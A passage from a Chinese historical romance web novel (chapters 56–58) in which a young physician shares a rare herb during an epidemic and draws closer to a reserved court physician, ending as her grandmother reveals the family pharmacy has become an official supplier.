沈昺立刻颔首,引经据典道:“纪医官所虑极是。依《瘟疫论》、《伤寒论》等典籍所载,能针对此类‘秽浊之毒’的药材,诸如‘紫草’、‘地丁’、‘野菊花’等,虽有解毒之效,然紫草滑肠,地丁力缓,野菊花则偏散风热,于此‘寒湿疫痢’之症,皆非尽善尽美之选。” 马春补充道:“再者,如‘蒲公英’虽能清热解毒,但其性寒凉,于此症亦需慎用。而‘金银花’性偏疏散,与当前亟需的‘清解内陷血分之毒’的病机,略有偏差。” “发病的牲畜……平瘟解毒……药性不能过寒……”孟玉桐拧眉,在脑中细细思索,她无意识偏头望向窗外。她瞧见照隅堂中,众人已用完了晚饭,小院里,白芷在她支起的架子旁照看紫雪参。 电光火石之间,她忽然想起刘思钧在开馆那日送她的几罐药材。 她倏然转过头,因思绪激动,竟一把抓了身旁纪昀的衣袖,脱口而出:“石莲子或可一试!” “石莲子……”马春凝眉沉吟,“此药性平,味甘涩微苦,功擅清湿热、开胃止呕,尤能解罂粟毒、菌蕈毒,于泻痢日久、烦渴呕吐之症有奇效,正合‘平瘟解毒’之需,且药性平和,不伤正气。 “然其多生于南方沼泽湿地,我们临安一带甚少得见。我那回春堂经营近百载,费尽心力,也仅存有区区一小匣,平日视若珍宝,等闲不敢动用。” 连百年老号回春堂都仅存少许,济世堂与照隅堂这等新立不久的医馆,恐怕是闻所未闻,更遑论库存了。 纪昀垂眸,目光落在自己衣袖上那只素白纤手之上,身体微微一僵,面色瞬间绷紧,默然片刻,才缓声道:“此药确实稀罕,医官院药库之中亦无储备。” 孟玉桐此刻全心都在药方上,恍然未觉自己的失态,自然地收回手,面上已恢复平日的端庄沉静,追问道:“石莲子的来源暂且不论,诸位前辈以为,以其特性入药,来解眼下这些老幼重症患者的伤寒兼痢之危,是否可行?” 马春略一思忖,便郑重点头:“从其药性归经、功效主治来看,石莲子清中寓涩,解毒而不伤正,止痢而不留邪,于此类正气已虚、邪毒未尽的复杂病机,恰是对证!以老夫经验,至少有八九成把握!” 宋寅深连听都未曾听过此药,愕然道:“来源如何能不论,莫非你有此药?” 孟玉桐爽快颔首,眸光明澈:“机缘巧合,我那里的确存有一些。恰好照隅堂中正有几位重症患者,我今夜便回去斟酌药方,试以石莲子为主药,为他们调理一二。若方子证实可行,这两日我便派人将拟定之方,连同部分石莲子,分送诸位医馆。或可解此番燃眉之急。” 纪昀闻言,面色微怔,下意识抬眸,静静凝视身旁女子的侧颜。 灯影柔和,勾勒出她纤秀的轮廓,长睫微垂,掩不住眼底那片清亮坚定的光,如同暗夜中的星辰,熠熠生辉,竟让人一时挪不开眼,心弦微动。 面对今日这样的场合,只见她一如既往的沉静温婉,身处诸位前辈之中,始终从容不迫,不卑不亢。更难得的是,即便手握如此稀世珍药,竟毫无藏私之心,大大方方地道出,愿与众人分享,共渡难关。 他视线落在她身上,却好似看见另一个人的影子。 从纪昭在世时,亦是这般,心怀赤子之诚,秉性善良宽厚,待人光风霁月。 他忽而感叹,此女心性的确净若琉璃,清澈明丽,光华自生。 沈昺神色复杂地望着孟玉桐,一时竟不知该说什么。如此珍贵的药材,她竟说得如此轻描淡写,说赠便赠? 究竟是真大方,还是不识货? 马春忙起身拱手,深深一揖:“孟大夫高义!马某在此先行谢过!不过此药珍贵,我回春堂既还有一些,便暂且不动用孟大夫的存药,孟大夫可将药材分予济世堂应急便可。” 宋寅深此刻也彻底呆住了。他先前还与沈昺私下偷偷议论,说这照隅堂,这孟玉桐瞧着都是绣花枕头花架子,绝非踏实行医之人。 今日在这茶肆之中,也没给过她什么好脸色。万万没想到,对方竟有如此胸襟!须知几家医馆还是竞争官册名额的关系,她竟愿将这等救命奇药无私分享? 一时间,他面红耳赤,只觉无比惭愧,先前那点轻视之心荡然无存。 他低着头,手指无意识地抠着医箱上的铜扣,声音讷讷,全然不见了平日的张扬:“多……多谢孟大夫。方才……是宋某失礼了。” 孟玉桐微微一笑,神色依旧平和,宠辱不惊,朗声道:“诸位前辈客气了。药材再是珍贵,终是治病救人之物。若不能用于救命扶伤,不过是锁在柜中的死物,又有何意义?我等既同为医者,便当怀仁心,行仁术。今日互帮互助,不过是为解百姓疾苦,尽医者本分而已,诸位实在不必挂怀。” 她话音清越,掷地有声。桌前几人闻言,无不动容,纷纷起身,敛去所有先前或轻视或试探的心思,郑重其事地朝她拱手长揖。 这一回,倒都不是虚礼,是实实在在发自内心的敬佩与折服了。 孟玉桐转向身侧的纪昀,语气自然而诚恳:“纪医官,既然医官院未有石莲子储备,稍后我也清点一些分与你。御街北段临近污染源头,想来遭遇伤寒兼痢的重症病患只会更多更急。你亦可酌情分配一些给那边亟需的医馆,或能解其燃眉之急。” 纪昀颔首,眸光微动,静静落在她脸上,郑重道:“孟大夫慷慨义举,纪某在此,代医官院与临安城中受困的各家医馆,先行谢过。” 正事既毕,众人不再多留,互相拱手道别后,便先后起身离开了茶肆雅间,各自匆匆返回医馆去了。 纪昀与孟玉桐最后步出茶肆,并肩行至照隅堂门前。 夜色已浓,门前灯笼在微风中轻轻摇曳。 “纪医官请在此稍候片刻,我进去将石莲子分拣出来。”孟玉桐说着,便欲转身入内。 还未等她动作,纪昀却上前半步,极其自然地轻轻牵住了她的衣袖一角。 他背对着长街阑珊的灯火,檐下光x影在他清隽的侧脸上投下柔和的轮廓,眸中映着跳动的烛光,宛如上好的墨玉被温水浸过,流转着一种难以言喻的温雅清润之光,竟少了几分平日的冷冽,多了几许难以捉摸的深邃。 “孟大夫,”他声音比平日低沉些许,“你馆中收治的那几位重症病患,纪某可否随你一同前去探视一番?也好顺势与你细细商讨石莲子入药的方剂细节。多一人斟酌,或能更快定下最稳妥的方子,以免延误病情。” 孟玉桐神色微顿,旋即释然。纪昀医术精湛,又坐诊多年,有他从旁参详,药方定然能更为周全。她并未多想,爽快点头应下:“如此也好,有劳纪医官费心。” 见她答应得如此干脆,纪昀眸中那点深邃的光亮似乎倏然流转,如同冰层下涌动的暖流,更鲜明了几分。 他松开指尖那抹柔软的衣袖,顺势上前半步,与她并肩而立,声音恢复了一贯的平稳:“分内之事,何谈劳烦。” 第56章 第56章红鸾星动 两人一同踏入照隅堂。纪昀似是随意问道:“石莲子甚是难得,不知孟大夫是从何处得来?” 孟玉桐一边引路一边答道:“是刘大哥先前在外行商时,于郊外山野偶然发现了一片,费力采集了些许。恰逢我照隅堂开业,他便赠我做了贺礼。” 纪昀眸色微微一凝,语气平淡无波,却莫名透着一丝难以言喻的意味:“刘老板倒是颇有心思,送礼亦能投人所好,如此恰到好处。” 孟玉桐闻言,侧眸瞥了他一眼,只觉得他这话说得没头没脑,略显奇怪,便未接话,径直推开通往内间的门。 吴明正在柜台前埋头整理药材,见两人去而复返,忙向纪昀问了声好。 “他们几个都回去了吗?”孟玉桐问吴明。 吴明答道:“刘少当家和崔大哥、梅三哥都已回去了。天色已晚,我让桂嬷嬷也先回了。白芷还在后院收拾,等她忙完,当家的您也早些歇息吧。” 孟玉桐点点头:“今日你也辛苦,整理完这些便去休息吧。” 吴明应下。 孟玉桐继续引着纪昀穿过诊室,步入后院,走向通往二层的楼梯。 照隅堂二层原是聚福客栈的客房区,孟玉桐盘下后只做了简单修缮,未大改动布局。二层右侧回廊尽头是吴林吴明祖孙的住所,左侧并排六间客房,如今临时用以收容重症病患。 楼梯并不宽敞,难以维系二人并排往上。孟玉桐提裙走在前面,纪昀沉默地跟在她身后半步。 刚踏上二层平台,便见吴林搬了张矮凳,正坐在廊口通风处,摇着一把蒲扇,悠哉地望着檐外星空。 无论馆中繁忙与否,这位老先生总是超然物外。白日在桃花树下支摊卜卦,午时雷打不动回房小憩,到了酉时正,便准时收摊,有时在院中纳凉,有时便如现在这般,于高处静观星象,颇有几分遗世独立的隐者气度。 孟玉桐含笑同他打招呼:“吴先生,我领位朋友上来瞧瞧病人。” 吴林闻声,慢悠悠侧过头,一双眼在孟玉桐和纪昀身上来回打量了两番,忽地摇了摇头,发出了一声轻轻叹息。 孟玉桐觉得他这反应有些有趣,便上前一步笑问:“先生何故摇头?” 吴林朝她招招手,待她好奇地俯身凑近,便压低了声音,神秘兮兮地道:“丫头,老夫观你面相,近日红鸾星动,桃花颇盛呐……只是这桃花……唉,来来往往,你可得仔细分辨,小心着些,说不准……哪个就别有用心呐!” 他这声音不大不小,恰好能被纪昀听见,又不至于吵着屋中的病人。 孟玉桐闻言,顿时哭笑不得,面上微赧,直起身子,没接这话茬,只道:“先生又说笑了。”便转身继续引路。 纪昀提步跟上,经过吴林身边时,脚步微顿,竟也朝着这位神神叨叨的老先生微微颔首,依着孟玉桐的称呼,客气道:“吴先生好。” “好,好。”吴林摸着鼻子,含糊地应了两声,眼神飘忽地转向别处,不再看他们。 两人一路向左,先行踏入廊道拐角处的第一间病房。屋内并未点灯,只借着窗外透入的微弱月光和廊下灯笼的余光视物。 榻上,那位年过花甲的重症老者正昏睡着,呼吸略显沉重。 孟玉桐放轻脚步,走到榻边,低声同纪昀介绍:“这位是住在御街北段梨花巷的周老伯,今年六十有三。据其家人说,是三日前误饮河水后发病,初时只是腹泻,昨日骤然加重,转为高热,且下痢脓血,精神萎靡。目前我已用了白头翁为基础方,佐以少量太子参益气扶正。眼下高热稍退,但泻痢仍未完全控制,精神依旧很差。” 纪昀凝神细听,目光扫过老者苍白的面容和干涸的嘴唇,沉吟片刻,低声道:“既如此,加入石莲子时,或可配伍煨葛根升清止泻,焦山楂化积导滞,再予少量木香调气止痛。如此,清解湿热毒邪之余,亦顾护中焦气机。孟大夫以为如何?” 孟玉桐认真思索,点头道:“纪医官所虑周全,与我想法大致不谋而合。只是周老伯年事已高,素有心悸宿疾,脾胃虚弱更甚。我想在他的方中,是否可再加入炒白术与茯苓,增强健脾益气、固本培元之力?至于另外两位小患者,身体根基尚可,或可先用你方才所言的基础方试治。” 纪昀颔首:“孟大夫考虑更为周详,就依此议。可先按此方配药煎服,密切观察疗效。” “那我们先下去吧,我让白芷即刻煎药。纪医官可先至前堂稍坐,我去将石莲子分拣出来给你。”怕惊扰病人,孟玉桐将声音压得极低。 “嗯?”纪昀似乎未能听清,在昏暗的光线下,他下意识地朝她方向微微俯身偏头。一股清冽气息随之逼近,若有似无地拂过她的耳廓。 孟玉桐呼吸一滞,下意识往后退了半步,却不甚踩着了地面一处微凸的木地板边缘,重心顿失。她惊呼一声,眼看要往后栽倒。 一瞬之间,腰间覆上一抹温热,一股力道稳稳地将她往回一带。 再回过神,她已被拉入纪昀怀中。 怔愣之余,她倏然抬眸,便撞进一双黑沉冷冽的眸子。那眸中亦有细微错愣,旋即消失,转为平静,眸色却更深。 “小心些。”待她站定,纪昀适时松开手,转身往屋外走。 孟玉桐回头看了一眼榻上病患,见他呼吸平稳,面色稍缓,并无不妥,这才稍稍安心,转身跟着纪昀往外走。 两人一前一后步出房间,纪昀步履未停,并未回头等她。孟玉桐亦无意追赶,只保持着不远不近的距离,不紧不慢地跟在他身后。 不过这一回再经过吴林时,两人竟极有默契地谁也没有侧目,仿佛那处空无一人。 吴林举起蒲扇,正要如常搭话,却见那两人步履匆匆,衣袂带风地从他眼前掠过,视线未曾有片刻停留。 他面色一噎,举着蒲扇的手僵在半空,兀自对着空气扇了两下,悻悻然地低声嘟囔:“没礼貌,真是没礼貌……” 纪昀与孟玉桐先后下了楼梯。纪昀站定,似乎想同她说什么,孟玉桐未有停留,稍快一步,走在他前头,直直往诊室走去。 步入诊室后,孟玉桐径直绕到柜台后,依据两人方才商讨确定的方子,开始抓药。 她一手拿着小巧精致的黄铜药秤,另一只手熟练地拉开一个个药屉取药。 纪昀在原地停了一瞬,沉默地跟了进来,停在她身侧不远处,目光落在她忙碌的手上。 有一味茯苓存放在较高处的药柜中。孟玉桐手中拿着药秤,取用不便。 她正欲先将药秤放下,身侧的人却已上前一步,手臂轻松越过头顶,拉开了那格药屉,从中抓取了一把握茯苓,放入她持着的药秤托盘里。 方才在二层房屋之中发生的意外,两人虽谁也没有提,可却明显能感觉到,气氛似乎有些尴尬。 孟玉桐将托盘中的茯苓取出,放在药包中。 接着,便变成了纪昀依序取药,孟玉桐接手称量。 两人之间并无多余言语,只余药材落入秤盘的细微声响和药屉开合的轻响,却配合得异常默契,很快便将所需的几味药材分装妥当。 恰在此时,吴明收拾好了柜台上的杂物,转头问道:“当家的,这是在给楼上几位病患备药?” 孟玉桐将分好的药包拢在一起,一边往外走一边应道:“嗯,我去将药煎上再回去。你忙完便先去歇息吧。” 纪昀亦步亦趋,沉默地跟在她身后走了出来。 孟玉桐觉着他今日种种举动着实有x些反常,索性停下脚步,转身看向他,直言道:“纪医官,你在此稍候片刻,我这就去将石莲子取来给你。” 一旁的吴明闻言,忙拍拍手道:“当家的,煎药这活儿交给我吧!您和纪医官忙正事要紧!” 他说着便上前接过孟玉桐手中的药包,哼着不成调的小曲就往小院里的煎药房走去,瞥见白芷刚料理完紫雪参,顺手也将她喊了去:“白芷,来来,进来给我搭把手!” 吴明一走,诊室之中便只剩了孟玉桐与纪昀二人。 孟玉桐不待他回话,提步往小院走,打算去药房将储备的石莲子清理出来。 纪昀却并未如她所言在原地等待,反而极其自然地跟上她的步伐,“我来帮你。” 两人前一后步入药房。药房内空间略显逼仄,四壁皆是高耸的药柜,空气中弥漫着各种药材交织而成的、浓郁而清苦的复杂香气。 刘思钧所送的两筐石莲子被孟玉桐和白芷以陶罐分装,置于药房西北角靠窗的墙角之下。 药房的另一侧,靠墙摆着一面长长的榆木桌柜,上头整齐码放着各类常用药材,桌下则是一排排贴着红纸标签的密封药罐。 既已如此,孟玉桐也不再同他虚客套。她指了指长桌下的那排空罐,对身后的纪昀道:“纪医官,劳烦你去那处,寻两只一大一小的洁净陶罐来。” “好。”纪昀应声而去。 孟玉桐则径直走向墙角那些装着石莲子的陶罐。她蹲下身,挪开最外面一罐,掀开盖子,就着窗外透入的微光,仔细检视里头颗颗圆润饱满的石莲子,指尖拨弄,确认并无受潮腐坏之虞。 纪昀很快取来了两只大小不一的陶罐,依言放在她身侧的地面上。他并未继续站着,而是极为自然地挨着她蹲下身来,淡青色的衣袍下摆拂过地面,带来一丝清冽的气息。 第57章 第57章为何姑娘对纪某,总是有…… 纪昀身子高大,甫一蹲下,孟玉桐感觉到,眼前的光亮都被他的身躯遮挡去了大半。 “将这里品相好的石莲子分拣出来,装满这两只陶罐即可。”孟玉桐往一边挪动了半步,偏首低声说明,目光并未看他。 “明白。”纪昀即刻会意,向前微倾身形,修长的手指探入罐中,开始利落地分拣。 地面上,他的影子似乎若有若无地往中间靠了靠。 总之,方才孟玉桐挪动半步好不容易得来的些大片光亮又被某人遮了去。 孟玉桐淡淡皱了皱眉,忍了忍,还是没说什么。 纪昀未注意到这一切,继续干着手里的活。他做事极有条理,目光锐利,动作又快又稳,颗粒饱满、色泽光洁的石莲子被迅速挑选出来,分装入两个陶罐中。 过程中,两人偶尔指尖轻触,孟玉桐总是飞快地缩回手。 纪昀则面色沉静无波,仿佛全然未觉,唯有在孟玉桐迅速移开手的瞬间,他的眼睫会几不可察地轻轻颤动一下,随即又恢复如常,专注手下。 待石莲子分装完毕,孟玉桐解释道:“大的这罐,纪医官带回医官院分发各馆应急;小的这罐,留给济世堂的宋大夫,纪医官以为如何?” 纪昀起身,将脚下两只装满的陶罐挪至墙角稳妥处,方才开口,“孟大夫思虑周全。不过,这两罐石莲子暂且还是存放于照隅堂。待楼上几位重症病患用药后情况稳定,确认药方无误,纪某再来取走更为稳妥。” 他顿了顿,看向孟玉桐,目光清正,“另外,孟大夫此番赠药乃仁义之举。待病情稍缓,纪某会如实禀明朱院使。官册考核时,今日所赠药量会计入照隅堂评核。此罐石莲子,医官院亦会按市价对照隅堂进行结算。如此,方不辜负孟大夫一片济世仁心,亦符合章程。” 孟玉桐正将原先那大陶罐的盖子仔细盖回,闻言动作微顿,抬眼看向静立一旁的纪昀。他还真是……一刻都不忘他那套章程规矩。 她蹲着身子,仰头看他,屋中灯火在她明丽的眸中跳跃:“如此,便多谢纪医官为我照隅堂周全打算了。” 她心下不得不承认,纪昀这一丝不苟、清正克己的性子,并非全无好处。譬如眼下,不必她多言,他自会循着规章,竭力为她争取应得的补偿与认可,绝不会让她因行善而吃亏。 尽管她赠药之初并未图谋这些,但听他如此周密安排,心中仍是泛起一丝极淡的、复杂的波澜,似欣慰,又似些微的怅然。 “地上寒凉,孟大夫先起身吧。”纪昀垂眸看着她。 她身量在女子中算得高挑,但此刻抱膝蹲在那里,身形显得格外纤细单薄,看上去小小一团,倒是褪去了平日里的棱角与疏离,竟透出几分罕见的柔软与惹人怜惜之态。 纪昀垂眼看着她,垂在身侧的手忽不自觉动了动,他缓缓吐出一口气,止住了某些骤然萌动,却悖离礼数的妄念的奇怪想法。 孟玉桐点点头,双手撑住膝盖,欲站起身。不料因蹲踞太久,气血不畅,猛地起身时,双腿骤然酸麻刺痛,眼前亦随之猛地一黑,身子不由自主地晃了一晃,向前微倾。 纪昀瞧见她细微的踉跄与瞬间蹙起的眉尖,几乎是不假思索地伸出手,稳稳地扶住了她的手肘,另一只手则虚扶在她身侧,微微用力,环着她的身子将她拉起,助她站直。 他的手掌隔着薄薄的春衫,指尖仿佛能感受到她手臂纤细的轮廓,鼻尖掠过她发间时,传来一道清浅的、混合着药草气息的特有的清凉馨香。 这般的距离,能看见,她左眼之下,有一颗极淡的红痣。 有股莫名的熟悉之感漫上心头。 他深潭一般幽静的眼中闪过一丝淡淡的,微不可闻的涟漪。眼前似乎出现一些极飘渺的记忆,他似乎见过这颗红痣……好像是……红色,满目的红色,大红的盖头下,女子的漆黑的湛然的眼,那眼下,有一颗小小的红痣…… 孟玉桐却像被烫到一般,下意识就想后退,可腿上的酸麻和未散尽的眩晕让她一时使不上力,只得暂且依凭着他手臂传来的支撑力道。 姿态看上去,竟像是被他半圈在怀中。 纪昀脑中纷扰的思绪飘荡,他深吸了口气,将那看似并不属于自己的记忆从脑中挤出去。 神思清明之后,感受到她瞬间的僵硬和细微的抗拒,他指尖几不可察地微顿,却并未立刻松开。直至确认她身体缓和,人已站稳,才不着痕迹地收回了手。 两人站定,空气中弥漫着一丝难以言喻的尴尬。 “多谢。”孟玉桐飞快地别开脸,侧过身去,假意整理裙摆,声音有一丝紧绷。 “无妨。”纪昀则垂眸,视线落在方才扶过她的手上,指节微微收拢,喉结微不可见地滚动了一下。 “不过纪医官,此等小事我自己可以处理,终究男女有别,下一回,便不劳纪医官费心了。”她声音有几分冷硬,似乎方才被他扶起是一件令她厌恶的事似的。 纪昀垂在身侧的指尖微微蜷缩,随即松开,沉声道:“是在下唐突了,孟姑娘勿怪。” 他顿了顿,复又看向孟玉桐,那双深邃的墨眸中似有暗流涌动,情绪难辨,声音也更沉凝了些:“只是前次见姑娘与茶肆何公子同去采药,归来时言笑晏晏,甚是熟稔;方才又瞧见姑娘与刘公子相处,把臂言欢,态度亦是亲密。 “姑娘方才既言你我已是朋友,纪某以为……姑娘对待朋友,大抵都是这般亲和不拘。是纪某一时失察,举止逾矩,冒犯了姑娘。” 孟玉桐闻言,眉头蹙得更紧,脱口而出:“你和他们不一样。” “哪里不一样?”纪昀眼中透出实实在在的困惑,那眸中的墨色似乎更浓重了些,紧紧锁住她,“为何姑娘对待旁人,与对纪某,总是有如此差别?纪某实在想不出,究竟是何处得罪过姑娘,竟让姑娘始终对我避之唯恐不及。” 他百思不得其解。他待她,分明已十分不同。具名举荐她开馆行医,亲赠祖父心血所著的医书手稿……桩桩件件,若放在其他任何人身上,他绝不会如此费心。 可她为何总是对他冷若冰霜? 孟玉桐自然无法言说前世纠葛,只得神色敷衍地避开他的视线:“纪医官想岔了,我并未如你所说那般厚此薄x彼,是纪医官身份尊贵,乃纪府嫡孙,医官院新秀,我等市井行医之人,不敢轻易高攀。” 因他身份,不敢攀附? 此话听来可笑,她若是那等谨小慎微、看重门第之人,纪家寿宴上,不会公然反驳姨母刁难,今日清风茶肆之中,面对几位年资皆在她之上的杏林前辈,她亦不会那般落落大方、不卑不亢……这番说辞,不过是她随手拈来的敷衍之语。 她既然不愿言明缘由,他如她所愿,不再追问此事。 “便当是纪某想岔了。如今既得姑娘此言,纪某心中倒是豁然几分。那孟姑娘,如你方才所言,纪某与你,如今可算是朋友?”他问得十分认真,目光灼灼,不容闪避。 孟玉桐看着他认真的神情,想起他今日在众医者面前不动声色地引荐维护,也想起这段时日因医馆核查之事,他虽要求严苛,却也暗中行了不少方便。 她想到未来长远,疫病防治、药材供应、乃至医馆经营,许多事情或许的确绕不开他……她静了静心神,仿佛进行了一番艰难的思想斗争。 不过是一句口头上的认可,为了长远计,似乎也没那么难以出口。 她终于缓缓点了点头,语气缓和了些许:“医馆开张以来,纪医官确实帮了我许多,未来……或还有许多要叨扰之处。”这算是默认了“朋友”之说。 纪昀闻言,竟是轻轻笑了笑。药房内光线昏黄,浓郁的药材苦香沉沉萦绕。 两人站在窗边,皎洁的月色透过雕花木窗静谧流淌而入,为他清隽却常覆寒霜的侧脸镀上了一层柔和的银边,将那惯常的冷冽疏离冲淡了不少,眉宇间难得显露出几分鲜活的生气。 他瞧上去,心情似是极好。 “纪医官,”孟玉桐趁着他神色缓和,再度开口,“还有一事。今日在清风茶肆时,你提及医官院存药紧张。恰巧我家药铺库存颇丰,我祖母购置药材,向来不拘贵贱,只求品质,各样药材都储备得极为齐全。她老人家为人正派,绝非那等会趁城中病患肆虐而坐地起价之人。医官院若需采购药材,可否考虑我孟家药铺?” 她此言规矩守礼,并未因自己赠送石莲子一事而要求医官院纳入孟家药材作为官药供应,只是借此机会,适时推介一番,若此时真能落定,也是她家药材品质合格。 纪昀收敛了笑意,但神色依旧温和,颔首道:“孟家药材品质素有口碑,此事我记下了,回院后会与朱院使及负责采买的同僚商议。” 孟玉桐心中稍安。她深知医官院的药材采购素来严格至极,需经药性查验、成色比对、价格审议等多重关卡,以往孟家也仅有几味特定药材因品质格外出众,曾入选过官药采购名录。 若能借此疫情紧急之机,让孟家更多品类的优质药材进入医官院的视野,乃至建立起长期的合作关系,那于家中药材生意而言,无疑是打开了一条稳定而可靠的通路。 第58章 第58章因你之故 今日诸事繁杂,虽忙碌至今方才得以喘息,却顺利解开了她萦绕心头的两件要紧事。 其一,重症病患的药方今日终于落定; 其二,便是她当初因退婚而对祖母许下的承诺:凭己之力,为自家生意开拓新路。 如今看来,依托医馆带动孟家药材营生,前景已显露出极大的希望。 不过……此二桩要事,细究起来,纪昀的确在其中援助良多。 思及此,孟玉桐抬眸,望向身旁长身玉立的纪昀,语气较之平日缓和了许多,带着几分真诚:“纪医官,今日在清风茶肆之中,多谢你出言替我解围。” 她明白,若不是纪昀,今日茶肆之中的谈话不会那么顺利。 纪昀闻言,侧首看她,他清隽的眉眼一半落于窗前月色中,一半笼在屋内灯火下,不一样的光影颜色,倒是同样柔和了惯常的冷峻。 他唇角微扬,勾勒出一抹极淡的弧度,声音也似被月色浸染得温和了几分:“孟大夫方才所言,你与我已是朋友。既是朋友,便无需如此客套见外。” 这一回,孟玉桐未再刻意去斟酌他话语中那不动声色拉近关系的意味,只微微颔首,从善如流道:“今日事忙,想必纪医官亦感疲惫,便请早些回府歇息吧。” 纪昀亦不再多言,与她道别。两人约定,明日晚些时候,纪昀会亲至照隅堂,察看那几位重症病人的恢复情况。 待纪昀走后,孟玉桐方从一旁的陶罐中取出一颗饱满的石莲子,握在掌心,步出药房,转入隔壁白芷与吴明负责的煎药房。 又忙碌了约莫小半个时辰,依次为三位重症病人喂服下新煎的汤药,仔细叮嘱了吴明夜间看护的注意事项后,孟玉桐才与白芷一同离开照隅堂,踏上了返回孟府的路。 此时已是亥时初刻。月色清冷,如弯刀高悬中天,将清辉洒满空旷的街道。 青石板路映着月光,泛着幽寂的微光。长街两侧店铺早已熄灯闭户,阒无人声,只余更夫打更的梆子声偶尔从极远处传来,更衬得四周万籁俱寂。 两个姑娘家独自行走在这样空旷无人的街道上,白芷心中不免有些发怵。 她紧紧挽着孟玉桐的手臂,警惕地左右张望,声音都压低了几分:“姑娘,要不……明日咱们还是让车夫来接吧?这夜里静悄悄的,一个人影都没有,瞧着怪瘆人的……” 孟玉桐正欲开口,眼风倏然瞥见前方墙角阴影处,似乎有一道模糊的黑影一动。 她心头一凛,立刻拉住白芷的手,疾退两步,摆出戒备姿态。 紧接着,那黑影从墙根下一跃而出,轻盈地落在两人面前数步之遥。 “孟姑娘!白芷姑娘!莫怕莫怕!是我!” 来人急忙开口,露出笑脸,原来是云舟。 他不好意思地摸了摸后脑勺,解释道:“是我家公子吩咐我来的。他说天色已晚,两位姑娘独自回府恐有不妥,特意让我在此等候,护送一程。” 白芷这才长长舒了一口气,抚着心口道:“即使如此,你进医馆中等着就是,鬼鬼祟祟躲在那暗处,平白吓我们一跳!” 云舟嘿嘿一笑:“公子特意交代了,让我就在外头等着。他说孟姑娘是个不肯麻烦人的性子。若我早早进馆去说明来意,姑娘定会婉拒,那我这差事可就办砸了,回去非得挨训不可。” 孟玉桐闻言,眸光在月色下微微闪动,终是轻轻点了点头,温声道:“有劳你了,云舟。” 云舟便护在两人身后,几人沿着寂静的御街,一路向南行去。 路上,云舟主动与白芷自然攀谈起来,说起了城西瓦舍里那位颇有名气的说书先生张瞎子近日正在讲的新话本,名为《破镜误》 “讲的是有一对少年夫妻,本是门当户对、郎才女貌的天作之合,成婚后却因种种琐事误会渐生,彼此不肯交心,终日相对无言,最终情分消磨,走向和离。” 云舟讲得绘声绘色,“奇就奇在,两人分开之后,反倒因一些机缘巧合,不得不再次打交道。在这一来二去中,那男子才恍然惊觉,两人从前相处之中,有许多误会未曾说清道明,而自己从前愚钝木讷,因此忽略了妻子多少优点,多少真心……于是这心底死灰般的情意,竟又悄悄复燃了。” 这段时日照隅堂忙得不可开交,白芷已有许久未去听书,这故事她只听了一半,刚好卡在两人签下和离书那最叫人唏嘘的地方。 此刻听云舟说起后续,顿时被勾起了好奇:“既然后来那男子明白了自己的心意,为何不干脆去找那姑娘说明白,再续前缘呢?” 云舟摊手道:“先生说啦,那姑娘是个心思细腻、敏感多思的性子,从前在那段婚姻里受伤颇深,心门已然紧闭,再不会轻易向人敞开了。那男子想必也深知这一点,正苦恼着该如何小心翼翼地靠近,才能不再惊扰她、伤害她呢!” “那后来呢?他可想到法子了?”白芷追问。 “巧了!张先生正好就断在这儿,吊人胃口呢!我也正抓心挠肝地等着下回分解!” “你是自个儿去听的?” “那倒不是,”云舟摇头,“近日我也不得闲。是前三日,随公子出门办事,路过城西瓦子时恰巧碰上张先生开讲,站着听了两段。” 白芷叹了口气,语气颇有些怀念:“我x也许久未去了。从前姑娘跟着老太太去城西药铺查账对账,我跟着去,能得大半日空闲,最爱溜去旁边听张先生说书。如今在照隅堂忙得团团转,倒是再没机会去城西了。” “这可真是巧了!”云舟笑道,“我三日前,也正是随公子去的孟家设在城西的那间药铺!办完正事出来,路过中瓦子,才恰好听了那么一段。” 一直静静走在旁侧,看似沉浸在自己思绪中的孟玉桐,听到此处,脚步倏然一顿,带着几分疑惑侧首看向云舟:“纪医官去了我家的药铺?” 云舟并未察觉她语气中的疑惑,坦然点头:“听公子说,是因近日腹泻之症蔓延,恐城中各家医馆药材吃紧。医官院虽有库藏,但首要需保障宫中贵人与各部衙署所需。 “故而公子亲自带了两位医官,查验药铺的药材品质与库存。若是资质符合官药标准,便可由医官院统一采买储备,以备不时之需。说起来,查验结果这两日应该就能出来了。怎么,公子没同您提起吗?” 孟玉桐眸光微凝,摇了摇头,脚下步伐却不自觉地乱了几分节奏。 待回到孟府,吴嬷嬷早已候在门房,见她归来,忙迎上前,低声道:“姑娘,您可算回来了。老夫人已在松风院等候多时,说是有事要同您商议。” 孟玉桐心下微疑,依言跟着吴嬷嬷穿过夜色中的庭院,步入祖母所居的松风院。 屋内灯火通明,江云裳如往常一样,端坐在那张紫檀木雕花扶手椅上。见孟玉桐进来,她眉眼间聚起一丝光亮,竟是朝她招了招手,语气带着惯常的威严:“怎地回得这样晚?快些过来坐下说话。” 孟玉桐上前几步,敛衽行了一礼,方在祖母下首的绣墩上坐下,轻声问道:“祖母深夜还未安歇,可是有什么要紧事?” “人老了,觉便少了,没那么多瞌睡。”江云裳今日的神情语气与往日颇有些不同,眉宇间那惯常的锐利严苛似乎被灯烛柔化了几分,连带着说话的语调也放缓了些,透出一种罕见的温和。 “祖母请讲。”孟玉桐端正坐姿,凝神静听。 侍立一旁的吴嬷嬷闻言,立刻将一份纸质文书恭敬地递到孟玉桐手中。 孟玉桐接过,就着桌案上那盏琉璃灯散出的光,仔细阅览起来。 文书抬头,“医官院官药采买准入批文”一行醒目的官方字样赫然映入眼帘。再往下细看,内容明确写道:孟氏药行所供之‘川黄连’、‘云茯苓’、‘杭白芍’等数味常用大宗药材,经医官院专人严格核验,其药性、成色、炮制工艺、仓储条件皆属上乘,价格亦公允合理,顺利通过多重审议,特此批准纳入医官院官药采购名录,准其供应。 江云裳望着孙女脸上难以掩饰的错愕神情,心下立刻了然,她大约也不知这件事。 “其实,自你那照隅堂开张后不久,纪昀那孩子便已来过我家几处药铺暗中察看过了。” 江云裳缓缓开口,“医官院的官药供应,自有其严苛的旧例与章程。若要临时增补或更换供应商,非有十足理由不可,且需层层报批,程序繁复周折。 “他初时来探看后,也曾亲自寻过我,坦诚言明其中关窍。那孩子性子清正刚直,办事有章法,并不因私废公。我知他此行或有他祖父示意关照之意,便直言让他不必为难,一切按规矩办便是。” 她顿了顿,接过吴嬷嬷递上的温水饮了一口,继续道:“直至前几日,他又来了,此番是带着医官院几位专司药材核验的医官一同前来。他与我明言,此次并非受纪家任何人嘱托,而是——因你之故。” “因我?”孟玉桐倏然抬起头,望向祖母,眸中满是困惑与不解。 几日之前?她分明未曾向他提过家中药材生意之事。 